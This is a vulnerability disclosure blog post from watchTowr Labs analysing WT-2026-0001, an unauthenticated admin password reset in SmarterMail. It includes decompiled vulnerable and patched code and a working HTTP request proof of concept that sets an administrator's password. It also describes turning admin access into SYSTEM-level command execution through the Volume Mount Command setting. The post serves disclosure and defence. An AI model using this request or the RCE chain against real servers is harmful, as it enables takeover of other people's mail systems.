Attackers With Decompilers Strike Again (SmarterTools SmarterMail WT-2026-0001 Auth Bypass)

Piotr Bazydlo (@chudyPB)
Wed, 21 Jan 2026 16:28:10 -0800

# Attackers With Decompilers Strike Again (SmarterTools SmarterMail WT-2026-0001 Auth Bypass) Well, well, well - look what we’re back with. You may recall that merely two weeks ago, we analyzed CVE-2025-52691 - a pre-auth RCE vulnerability in the SmarterTools SmarterMail email solution with a timeline that is typically reserved for KEV holders. The plot of that story had everything; - A government agency - Vague patch notes (in our opinion) - Fairly tense forum posts - Accusations of in-the-wild exploitation The sort of thing dreams are made of~ ### Why Are We Here? Well, as always - idle hands, idle minds, zero self-control. We decided to continue poking at what looked like a fairly interesting solution and quickly stumbled into WT-2026-0001 - an Authentication Bypass vulnerability, allowing any user to reset the SmarterMail system administrator password. The kicker of course being that said user is able to use RCE-as-a-feature functions to directly execute OS commands. A feature-full email server! We believe (and have validated, so it’s not a belief really, but still, sounds nice) that this vulnerability was patched relatively quickly by the SmarterTool teams post reporting, with a patched version released on the January 15, 2026 (release 9511) - 6 days ago. Within the release notes, you’ll see a clear, succinct, and well-communicated emergency message (possibly in red, but we’re colour blind, so we’re not sure): We did not plan to publish this blog post today - Wednesdays are meme days - but that changed when an anonymous reader reached out to us with a tip - **somebody is currently exploiting SmarterMail and resetting admin passwords.** This same reader was kind enough to point us to a seemingly related SmarterMail forum thread, where a user is claiming that they cannot access their admin account anymore and provided log file excerpts of potentially related and suspicious behaviour: `force-reset-password` immediately stood out to us - as we’ll show later, this is the exact endpoint implicated in WT-2026-0001. The smoking gun? The logs suggest that exploitation occurred **two days after the patch was released.** We were dumbfounded. How was this possible? Quickly, we Googled. Nope, no signs of a PoC dropped by a dog with 3 eyes. What about TikTok? Nothing. The WarThunder forums, perhaps? No, just yet more classified military manuals. Was this the second-ever recorded instance of attackers using decompilers to reverse-engineer security-related patches and reconstruct vulnerabilities? Gasp. ### WT-2026-0001 - Authentication Bypass via Password Reset Bluntly, our plan when we began hunting for the fire behind some smoke was simple - review unauthenticated endpoints, pray for easy wins. > Spoiler alert: there were easy wins. Authentication controllers and password reset functionality are prime targets for attackers. As a result, the `SmarterMail.Web.Api.AuthenticationController.ForceResetPassword` method immediately drew our attention: ``` [HttpPost] [Route("force-reset-password")] // [1] [AuthenticatedService(AllowAnonymous = true)] // [2] [CheckInputForNullFilter] [ShortDescription("This function will attempt to reset a user's password.")] [Description("This function will attempt to reset a user's password and should only be called after a user attempts to login and they receive a ChangePasswordNeeded = true.")] public ActionResult ForceResetPassword([FromBody] ForceResetPasswordInputs inputs) { ActionResult result; try { ActionResult actionResult = base.ReturnResult(delegate() { AuthenticationService instance = AuthenticationService.Instance; ForceResetPasswordInputs inputs2 = inputs; IPAddress clientIPAddress = this.HttpContext.GetClientIPAddress(); return instance.ForcePasswordReset(inputs2, (clientIPAddress != null) ? clientIPAddress.ToString() : null); // [3] }); base.AuditLogSuccess("force-reset-password"); result = actionResult; } //... } ``` 1. At `[1]`, the `force-reset-password` API endpoint is defined. 2. At `[2]`, the endpoint is marked as allowing anonymous access, meaning it can be reached without authentication. This is standard behavior for password reset functionality and not inherently suspicious. 3. At `[3]`, execution is passed to the `ForcePasswordReset` method, where the core logic is implemented. You may notice that this API endpoint accepts the `ForceResetPasswordInputs` object, which can be deserialized from the JSON. It has several interesting properties that can be controlled by the user: - `IsSysAdmin` - `Username` - `OldPassword` - `NewPassword` - `ConfirmPassword` That combination is immediately unusual. Password reset flows typically rely on a second factor or out-of-band proof of control - for example, a secret token delivered via email. Here, the presence of `OldPassword` and `NewPassword` suggests something closer to a standard “change password” operation - except, this one is exposed without any authentication. Not great? There is one more interesting property: `IsSysAdmin` of `bool` type. Does this mean the method behaves differently based on the type of account being targeted, and that this decision is driven by user-supplied input? ``` public new ResetPasswordResult ForcePasswordReset(ForceResetPasswordInputs inputs, string hostname) { ResetPasswordResult resetPasswordResult = new ResetPasswordResult(); try { resetPasswordResult.DebugInfo = "check1" + Environment.NewLine; //... if (inputs.IsSysAdmin) // [1] { ResetPasswordResult resetPasswordResult4 = resetPasswordResult; //system administrator password reset procedure //... } else { ResetPasswordResult resetPasswordResult9 = resetPasswordResult; //regular user password reset procedure //... } //... } ``` Indeed! At `[1]`, the code branches based on the value of `IsSysAdmin`. If it is set to `true`, the logic responsible for resetting a system administrator’s password is executed. If it is `false`, a separate path is taken that handles password resets for regular users. We started our analysis with the regular user password reset path, assuming it would be less hardened than the administrator flow. A brief review did not reveal any immediate issues, so we moved on. This leads us to the following code: ``` public new ResetPasswordResult ForcePasswordReset(ForceResetPasswordInputs inputs, string hostname) { ResetPasswordResult resetPasswordResult = new ResetPasswordResult(); try { //... if (inputs.IsSysAdmin) { ResetPasswordResult resetPasswordResult4 = resetPasswordResult; resetPasswordResult4.DebugInfo = resetPasswordResult4.DebugInfo + "check4.2" + Environment.NewLine; db_system_administrator_readonly db_system_administrator_readonly = SystemRepository.Instance.AdministratorGetByUsername(inputs.Username); // [1] if (db_system_administrator_readonly == null) { resetPasswordResult.Success = false; resetPasswordResult.Message = "USER_NOT_FOUND"; resetPasswordResult.ResultCode = HttpStatusCode.BadRequest; return resetPasswordResult; } PasswordStrength.FailedRequirementWithVariable requirementCodes = PasswordStrength.GetRequirementCodes(db_system_administrator_readonly, inputs.NewPassword, false); ResetPasswordResult resetPasswordResult5 = resetPasswordResult; resetPasswordResult5.DebugInfo = resetPasswordResult5.DebugInfo + "check5.2" + Environment.NewLine; if (requirementCodes != null) { resetPasswordResult.Success = false; resetPasswordResult.Username = inputs.Username; resetPasswordResult.Message = requirementCodes.Item1; resetPasswordResult.ErrorCode = requirementCodes.Item1; resetPasswordResult.ErrorData = requirementCodes.Item2; resetPasswordResult.ResultCode = HttpStatusCode.BadRequest; PasswordBruteForceDetector.Instance.ResetSource(hostname); return resetPasswordResult; } Dictionary dictionary = db_system_administrator_readonly.password_history_hashed_readonly.ToDictionary(); dictionary.Add(db_system_administrator_readonly.password_hash, DateTime.UtcNow); db_system_administrator item = new db_system_administrator { guid = db_system_administrator_readonly.guid, Password = inputs.NewPassword, password_history_hashed = dictionary }; // [2] ResetPasswordResult resetPasswordResult6 = resetPasswordResult; resetPasswordResult6.DebugInfo = resetPasswordResult6.DebugInfo + "check6.2" + Environment.NewLine; try { SystemRepository.Instance.AdministratorUpdate(item, new bool?(false), new db_system_administrator.Columns[] { db_system_administrator.Columns.password_hash, db_system_administrator.Columns.password_history_hashed }); // [3] } catch (Exception ex) { resetPasswordResult.Success = false; resetPasswordResult.ResultCode = HttpStatusCode.BadRequest; resetPasswordResult.Message = ex.Message; return resetPasswordResult; } ResetPasswordResult resetPasswordResult7 = resetPasswordResult; resetPasswordResult7.DebugInfo = resetPasswordResult7.DebugInfo + "check7.2" + Environment.NewLine; PasswordBruteForceDetector.Instance.ResetSource(hostname); ResetPasswordResult resetPasswordResult8 = resetPasswordResult; resetPasswordResult8.DebugInfo = resetPasswordResult8.DebugInfo + "check8.2" + Environment.NewLine; } else { ResetPasswordResult resetPasswordResult9 = resetPasswordResult; //... } //... } //... } ``` 1. At `[1]`, the code takes the `Username` argument from attacker’s JSON and it retrieves its configuration. 2. At `[2]`, it creates the `item` object, in which the `Password` property is set with the attacker-controlled `NewPassword` value. 3. At `[3]`, it updates the administrator account with a new password. > Wat Yes, dear reader. There are no security controls here. No authentication. No authorization. No verification of `OldPassword`. Despite the API requiring an `OldPassword` field in the request, it is never checked when resetting a system administrator’s password. Ironically, the regular user password reset flow does validate the existing password. The privileged path does not. This is a complete authentication bypass for the system administrator account. An attacker only needs to send a request containing: - The username of an administrator account - A new password of their choosing Enjoy your admin access! ### Proof of Concept The PoC is as simple as this: ``` POST /api/v1/auth/force-reset-password HTTP/1.1 Host: xxxxxxx:9998 Content-Type: application/json Content-Length: 145 {"IsSysAdmin":"true", "OldPassword":"watever", "Username":"admin", "NewPassword":"NewPassword123!@#", "ConfirmPassword": "NewPassword123!@#"} ``` You should receive a following response, which confirms that password had been successfully modified: ``` { "username":"", "errorCode":"", "errorData":"", "debugInfo":"check1\\r\\ncheck2\\r\\ncheck3\\r\\ncheck4.2\\r\\ncheck5.2\\r\\ncheck6.2\\r\\ncheck7.2\\r\\ncheck8.2\\r\\n", "success":true, "resultCode":200 } ``` The only remaining requirement is knowing the username of the administrator account. In most deployments, this is likely to be something predictable such as `admin` or `administrator`. There may also be ways to enumerate valid administrator usernames, but that feels too academic for today. Given how common these defaults are, guessing is probably sufficient. ### But Wait, There's More - RCE as a Service Even though we are technically dealing with the Authentication Bypass vulnerability, it provides a direct path to remote code execution. SmarterMail exposes built-in functionality that allows a system administrator to execute operating system commands. Once authenticated as a system administrator, an attacker can: - Navigate to `Settings -> Volume Mounts`. - Create a new volume. - Supply an arbitrary command in the `Volume Mount Command` field. That command is executed by the underlying operating system. At that point, the attacker has achieved full remote code execution on the host. When the configuration is saved, the supplied command is executed immediately. In our proof of concept, this results in a SYSTEM-level shell on the target host. ### What to Do, How to Live This issue was patched in version 9511, released on January 15, 2026. If you have not already upgraded, do so immediately. **This vulnerability is already being actively exploited.** Attempts to exploit the issue on a patched system result in the following error message: ``` { "username":"", "errorCode":"", "errorData":"", "debugInfo":"check1\\r\\ncheck2\\r\\ncheck3\\r\\ncheck4.2\\r\\ncheck5.2\\r\\n", "success":false, "resultCode":400, "message":"Invalid input parameters" } ``` This behavior aligns with the patched implementation of the `ForcePasswordReset` method: ``` //... if (inputs.IsSysAdmin) { ResetPasswordResult resetPasswordResult4 = resetPasswordResult; resetPasswordResult4.DebugInfo = resetPasswordResult4.DebugInfo + "check4.2" + Environment.NewLine; db_system_administrator_readonly db_system_administrator_readonly = SystemRepository.Instance.AdministratorGetByUsername(inputs.Username); if (db_system_administrator_readonly == null) { resetPasswordResult.Success = false; resetPasswordResult.Message = "USER_NOT_FOUND"; resetPasswordResult.ResultCode = HttpStatusCode.BadRequest; return resetPasswordResult; } PasswordStrength.FailedRequirementWithVariable requirementCodes = PasswordStrength.GetRequirementCodes(db_system_administrator_readonly, inputs.NewPassword, false); ResetPasswordResult resetPasswordResult5 = resetPasswordResult; resetPasswordResult5.DebugInfo = resetPasswordResult5.DebugInfo + "check5.2" + Environment.NewLine; if (requirementCodes != null) { resetPasswordResult.Success = false; resetPasswordResult.Username = inputs.Username; resetPasswordResult.Message = requirementCodes.Item1; resetPasswordResult.ErrorCode = requirementCodes.Item1; resetPasswordResult.ErrorData = requirementCodes.Item2; resetPasswordResult.ResultCode = HttpStatusCode.BadRequest; PasswordBruteForceDetector.Instance.ResetSource(hostname); return resetPasswordResult; } if (!db_system_administrator_readonly.ValidatePassword(inputs.OldPassword, null)) // [1] { resetPasswordResult.Success = false; resetPasswordResult.ResultCode = HttpStatusCode.BadRequest; resetPasswordResult.Message = "Invalid input parameters"; return resetPasswordResult; } ``` At `[1]`, the `ValidatePassword` method was added and it validates the current password of the user. At the time of writing, we are unaware of any CVE assigned to this vulnerability. # Summary Once again, this demonstrates that attackers actively monitor release notes and perform patch diffing on high-value targets. Together, friends, we have learned this the hard way today with WT-2026-0001. Given that this vulnerability is already under active exploitation, upgrading is not optional. **PATCH NOW.** DateDetail8th January 2026WT-2026-0001 vulnerability discovered and reported to the vendor.8th January 2026watchTowr hunts through client attack surfaces for impacted systems, and communicates with those affected.13th January 2026SmarterMail acknowledges the receipt of advisory.15th January 2026Patch released (9511).17th January 2026SmarterMail forum post mentions a successful ITW attempt to exploit WT-2026-0001.21th January 2026watchTowr receives an anonymous tip regarding ITW exploitation of WT-2026-0001. The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour. By combining Proactive Threat Intelligence and External Attack Surface Management into a single **Preemptive Exposure Management** capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: **time to respond.**